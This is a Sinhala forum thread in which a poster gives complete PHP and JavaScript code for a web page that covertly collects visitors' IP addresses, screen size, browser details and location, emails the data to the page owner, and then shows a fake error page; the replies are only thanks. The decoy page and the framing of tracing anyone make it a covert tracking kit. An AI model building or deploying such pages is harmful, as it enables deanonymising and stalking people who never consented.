ඔබ තවමත් Widane Forums සාමාජිකයෙක් නෙවෙයි ද..?

Widane Forums හි සියළුම ලිපිවල ඇති සියළුම Links වෙත පිවිසීමට නම් ලියාපදිංචිවීම අනිවාර්යයි.
ඔබගේ සියලුම තාක්ෂණික ගැටළු සඳහා විසඳුම් සොගැනීමට වගේම දැනුම බෙදාගැනීම සඳහා මෙහි ඉඩකඩ වෙන්කර තිබෙනවා.
ඉතින් ඇයි තවත් බලාගෙන ඉන්නේ ඉක්මනින් ලියාපදිංචිවී ඔබගේ දැනුම වැඩිකරගන්න.

Register Here




[Tut] ඕනිම කෙනෙක්ව Track කරමු Trace කරමු
#1
කොහොමද කට්ටිය ඔන්න 2019 අවුරුද්දට දාන මගේ පළවෙනි ත්‍රෙඩ් එක. පහුගිය දවස් ටිකේ මම පේන්නත් උන්නේ නෑනේ. ඒකට හේතුව තමයි ටිකක් සනීප නැති උනා. දැන්නම් ටිකක් හොඳයි. හරි ඉතින් ඒ වල්පල් වැඩක් නෑ අද මම පොරොන්දුවක් ඉෂ්ඨ කරන්න තමයි යන්නේ. ඒ තමයි අපේ @රන්වන් මකරා මල්ලී ත්‍රෙඩ් එකක් ඉල්ලලා තිබ්බා User කෙනෙක්ගේ Device එකේ විස්තර ගන්න පුළුවන් විදිහගැන. ඉතින් මම අද කියලා දෙන්න යන ක්‍රමයෙන් ඔයාලාටම වෙබ්සයිට් එකක් හදලා ඒක Visit කරන හැම User කෙනෙක්ගේම IP Address, Screen Resolution, Browser, Operating System සහ Location (Latitude & Longitude) වගේ විස්තර බලාගන්න පුළුවන්. මේකට ඕනි තරම් Online Services තියෙනවා. ඒත් ඉතින් අපිම එහෙම දෙයක් හදාගත්තොත්නේ වටින්නේ. Wink

[Image: wwQDFU8l.png]

එහෙනම් ඉතින් වැඩේ පටන් ගමු. ඉස්සෙල්ලාම අපි මේ එක එක ඒවා ගැන වෙන වෙනම බලමු.


IP Address

IP Address එක ගන්න මම මෙතනදි පාවිච්චි කරන්නේ පහළ තියෙන PHP Code එක

<?php
$ipaddr = getenv("REMOTE_ADDR");
$ipaddr2 = getenv("HTTP_X_FORWARDED_FOR");
echo "IP by REMOTE_ADDR: $ipaddr <br /> IP by X_FORWARDED_FOR: $ipaddr2";
?>

දැන් ඔයාලාට ප්‍රශ්නයක් එයි මම මෙතනදි IP Address එක බලාගන්න Values දෙකක් පාවිච්චි කරන්නේ ඇයි කියලා. මෙතනදි REMOTE_ADDR කියන Value එක මඟින් අපිට පුළුවන් Request එක ආපු IP Address එක බලාගන්න ඒත් අපේ වෙබ්සයිට් එක Cloudflare වගේ CDN වගේ පාවිච්චි කරනවානම් අන්න එතකොට මේ REMOTE_ADDR කියන Value එක මඟින් දෙන්නේ  අන්න ඒ CDN එකේ IP Address ඉතින් ඒක මඟහරින්න තමයි අපි HTTP_X_FORWARDED_FOR කියන Value එක පාවිච්චි කරන්න. එතකොට අපිට පුළුවන් වෙනවා Request එක Forward වෙන IP Address එක එහෙමත් නැත්නම් Userගේ Public IP Address එක බලාගන්න.

Screen Resolution

Screen Resolution එක ගන්න එකෙන් වැඩක් නැහැ කියලා හිතෙන්න පුළුවන් ඒත් අපිට Screen Resolution එක මඟින් Userගේ Device එක ගැන අවබෝධයක් ලබාගන්න පුළුවන්. ඊලඟපාර වෙනම IP Address එකක් හරි VPN එකක් හරි පාවිච්චි කරලා ආවාත් Screen Resolution එක නිසා අදාල කෙනාව හඳුනගන්න පුළුවන්. මේ සඳහා මම පාවිච්චි කරන්නේ Javascript Code එකක්.

<script>
function FunRes() {
  var wid = "Width: " + screen.width;
  document.getElementById("scrwidth").innerHTML = wid;
  var heg = "Height: " + screen.height;
  document.getElementById("scrheight").innerHTML = heg;
}
window.onload = FunRes;
</script>

<p id="scrwidth"></p>
<p id="scrheight"></p>

User Agent

User Agent එකෙන් තමයි අපිට Userගේ Web Browser එක එකේ Version එක වගේම Operating System එක සහ එකේ Version එක බලන්න පුළුවන් වෙන්නේ. Userගේ Device එක Mobile Device එකක් නම් එකේ Brand එකයි Model එකයි බලන්නත් පුළුවන්. ඉතින් මෙන්න මේ වැඩේටත් මම පාවිච්චි කරන්නේ Javascript Code එකක්මයි.

<script>
function FunRes() {
  var uage = "User Agent: " + navigator.userAgent;
  document.getElementById("uagent").innerHTML = uage;
}
window.onload = FunRes;
</script>

<p id="uagent"></p>

Location (Latitude & Longitude)

මේ වැඩේ නම් එච්චර සාර්ථක ක්‍රමයක් නෙවෙයි. අනික මේ Script එක වැඩකරන්න Userගෙන් Permission ඉල්ලනවා ඒ නිසා මම නම් කියන්නේ Location හොයන වැඩේ අතහැරලා වැඩේ කලොත් තමයි හොඳ. මොකද Location එක පෙන්නුවත් 90%ක් වත් හරියට පෙන්නන්නේ නැහැ. ඒත් වැඩේ කරන විදිහ දැනගෙන ඉන්න එක වටින නිසා අපි මේකත් අපේ වැඩේට පාවිච්චි කරමු. මෙතනදීත් අපිට පාවිච්චි කරන්න වෙන්නේ Javascript Code එකක්මයි.

<script>
navigator.geolocation.getCurrentPosition(
function FunRes(position) {
  var lat = "Latitute: " + position.coords.latitude;
  document.getElementById("lati").innerHTML = lat;
  var lon = "Longitute: " + position.coords.longitude;
  document.getElementById("long").innerHTML = lon;
});
window.onload = FunRes;
</script>

<p id="lati"></p>
<p id="long"></p>

Save Collected Data

එහෙනම් දැන් අපිට ඉතුරු වෙලා තියෙන්නේ අපි මේ එකතු කරගන්න හදන තොරතුරු ටික Save කරගන්න විදිහක්. ඒකට ඔයාලාට ගොඩාක් දේවල් කරන්න පුළුවන්. Database එකක හරි Text File එකක හරි Save වෙන්න හදන්න පුළුවන්. ඒත් ත්‍රෙඩ් එක ඉල්ලලා තිබ්බේ Email කරගන්න විදිහ ගැන නිසා මම PHP mail() Function එක පාවිච්චි කරලා අපි හොයාගත්තු තොරතුරු ටික Email කරගන්න විදිහ ගැන කියලා දෙන්නම්. මේක ගොඩාක් ලේසියි ඒත් ප්‍රශ්නයක් උනොත් වෙන්නේ අපේ Website එක Host කරන Service එක PHP Mail වලට Support නැති උනොත් තමයි. තව Spam කියලා අපේ Send වෙන Emails Block වෙන්න පුළුවන් අවධානමකුත් තියෙනවා. මේකට මම පාවිච්චි කරන්නේ පහළ විදිහේ PHP Code එකක්.

<?php
$to = "[email protected]";
$subject = "Email subject";
$body = "Email Message goes here";
$headers = "From: [email protected]";

mail($to,$subject,$body,$headers);
?>


Let's build our user tracking & tracing website

හරි එහෙනම් දැන් තමයි අපි උඩ කතාකරපු දේවල් ටික අපිට ඕනි කරන විදිහට පෙළගස්සවලා වෙනස් කරලා ගේම ගහන්න යන්නේ. ඉස්සෙල්ලාම මට පොඩි ප්‍රශ්නයක් තියෙනවා විසඳගන්න. මෙතන Javascript සහ PHP කියන වර්ග දෙකේම Scripts තියෙනවා. Email එක Send කරන්නේ PHP Mail වලින් නිසා මට Javascript වලින් ගන්න තොරතුරු ටිකත් PHP වලට පාස් කරගන්න වෙනවා. මම ඒකට මම දන්න මූලික දැනුමෙන් උදව්වක් අර ගන්න හිතුවා. ඒ තමයි Javascript වලින් ගන්න තොරතුරු ටික ඉස්සෙල්ලාම HTML Form එකකට පාස්කරලා එතනින් PHP Variables වලට පාස්කරගන්නවා. ඔන්න ඕකයි මගේ සැලැස්ම. දැන් මේ වැඩේ කරන්න අපිට ප්‍රධාන වශයෙන් Files දෙකක් හදාගන්න ඕනි. ඒ තමයි,
  • index.html
  • login.php
එහෙනම් අපි ඉස්සෙල්ලාම index.html එකට එන Codes ටික මොනවාද කියලා බලමු.

<html>
<head>
<title>My Website</title>
</head>
<body onload="FunRes(); FunRes3();">
<form action="login.php" id="myform" method="post">
<input type="hidden" name="scrwidth" id="scrwidth" value=""/>
<input type="hidden" name="scrheight" id="scrheight" value=""/>
<input type="hidden" name="uagent" id="uagent" value=""/>
<input type="hidden" name="lati" id="lati" value=""/>
<input type="hidden" name="long" id="long" value=""/>
<input type="submit" value="submit"/>
</form>
<script>
function FunRes(){
navigator.geolocation.getCurrentPosition(
function FunRes2(position) {
  var lat = position.coords.latitude;
  document.getElementById("lati").value = lat;
  var lon = position.coords.longitude;
  document.getElementById("long").value = lon;
  document.getElementById("myform").submit();
});
}

function FunRes3(){
  var wid = screen.width;
  document.getElementById("scrwidth").value = wid;
  var heg = screen.height;
  document.getElementById("scrheight").value = heg;
  var uage = navigator.userAgent;
  document.getElementById("uagent").value = uage;
}
</script>
</body>
</html>

දැන් එහෙනම් ඊලඟට අපි බලමු login.php එකට එන Codes ටික මොනවාද කියලා.

<?php
$ipaddr = getenv("REMOTE_ADDR");
$ipaddr2 = getenv("HTTP_X_FORWARDED_FOR");

$scrwidth = $_POST['scrwidth'];
$scrheight = $_POST['scrheight'];
$uagent = $_POST['uagent'];
$lati = $_POST['lati'];
$long = $_POST['long'];

$to = "[email protected]";
$subject = "Email subject";
$body = "Another user alert\n\nIP REMOTE_ADDR: $ipaddr\nIP HTTP_X_FORWARDED_FOR: $ipaddr2\nScreen Width: $scrwidth\nScreen Height: $scrheight\nUser Agent: $uagent\nLatitude: $lati\nLongitude: $long";
$headers = "From: [email protected]";

mail($to,$subject,$body,$headers);
?>

<html>
<head>
<title>My Website | Fake Error</title>
</head>
<body>
<h1>Fake Error !</h1>
<p>Fake Message Wink</p>
</body>
</html>

මෙතනදී [email protected] කියන එකට ඔයා ගන්න තොරතුරු ටික ලැබෙන Email එක දාන්න ඕනේ. [email protected] කියන එක නම් ප්‍රශ්නයක් නැහැ ඒක තමයි Email එක එවපු ලිපිනය විදිහට පෙනී සිටින්නේ, ඒක කැමති විදිහකට වෙනස් කරගන්න. තව ඉතින් ඔය PHP File එක ඇතුලේ තියෙන HTML Codes ටිකත් කැමති විදිහට වෙනස් කරගන්න. Wink

මේ වගේ දේවල් ගොඩාක් වෙලාවට පාවිච්චි කරන්නේ Honey Pot වලට වගේ දේවල් වලට. තව Traffic Analyze කරන්නත් පාවිච්චි කරන්න පුළුවන්. ඉතින් මම මෙතනදි කතා කළේ අවශ්‍යම කරන Basic Codes ගැන විතරයි. ඒ නිසාම මේකේ ගොඩාක් අඩුපාඩු තියෙනවා. Javascript Disable කරගෙන ආවොත් හඳුනගන්න විදිහක් එහෙමත් නැහැ. ඒ වගේම තමයි index.html එකට නොයා කෙලින්ම login.php එකටම යන්නත් පුළුවන්. ඒ වගේ වෙලාවට සම්පූර්ණ විස්තර නැතුව Email එක Send වෙන්න පුළුවන්. ඉතින් ඒ වගේ අඩුපාඩු මඟහැරගෙන මම මේ කියලා දුන්න Codes ටික වැඩිදියුණු කරගන්න එක ඔයාලාට බාරදෙනවා. නොතේරෙන තැනක් තිබ්බොත් අහන්න. මගේ වැරැද්දක් තිබ්බොත් ඒකත් පෙන්නන්න.

එහෙනම් ත්‍රෙඩ් එක මෙතනින් ඉවර කරනවා.
හැමෝටම ජය ශ්‍රී !
|+| Knowledge |+| Discipline |+| Patience |+|

Area Master 
(Founder & Info. Sec. Analyst)

Widane Forums
Contact Me: [email protected]
Admin Queries: [email protected]
General Queries: [email protected] 
1
#2
ela bro.. Smile
<>
.:: [Induwara Uthsara] :: [රතු කුරුල්ලා] ::.
Idea  [Only registered and activated users can see links Click here to register] Idea
 Idea [Only registered and activated users can see links Click here to register]  Idea
</>
Reply
#3
(01-07-2019, 08:58 AM)Induwara Uthsara Wrote: ela bro.. Smile

Karala balanna. Wink
|+| Knowledge |+| Discipline |+| Patience |+|

Area Master 
(Founder & Info. Sec. Analyst)

Widane Forums
Contact Me: [email protected]
Admin Queries: [email protected]
General Queries: [email protected] 
Reply
#4
ජය ශ්‍රී බොස්
Damn.. There's a little bit of devil in her angel eyelove love

Reply
#5
(01-07-2019, 02:35 PM)Mmx Wrote: ජය ශ්‍රී බොස්

Ela ela Wink
|+| Knowledge |+| Discipline |+| Patience |+|

Area Master 
(Founder & Info. Sec. Analyst)

Widane Forums
Contact Me: [email protected]
Admin Queries: [email protected]
General Queries: [email protected] 
Reply
#6
Thanks a lot ayiya !!!
Regards,
Golden Dragon.
"There are 10 types of people in this world. Those that understand binary and those that don't. Tongue "
Reply
#7
(01-07-2019, 05:27 PM)රන්වන් මකරා Wrote: Thanks a lot ayiya !!!

Welcome Wink
|+| Knowledge |+| Discipline |+| Patience |+|

Area Master 
(Founder & Info. Sec. Analyst)

Widane Forums
Contact Me: [email protected]
Admin Queries: [email protected]
General Queries: [email protected] 
Reply
#8
Thanks
Reply
#9
(01-11-2019, 02:53 AM)smt90 Wrote: Thanks

Welcome Smile
|+| Knowledge |+| Discipline |+| Patience |+|

Area Master 
(Founder & Info. Sec. Analyst)

Widane Forums
Contact Me: [email protected]
Admin Queries: [email protected]
General Queries: [email protected] 
Reply
#10
Thanks bro
Reply




Users browsing this thread: 1 Guest(s)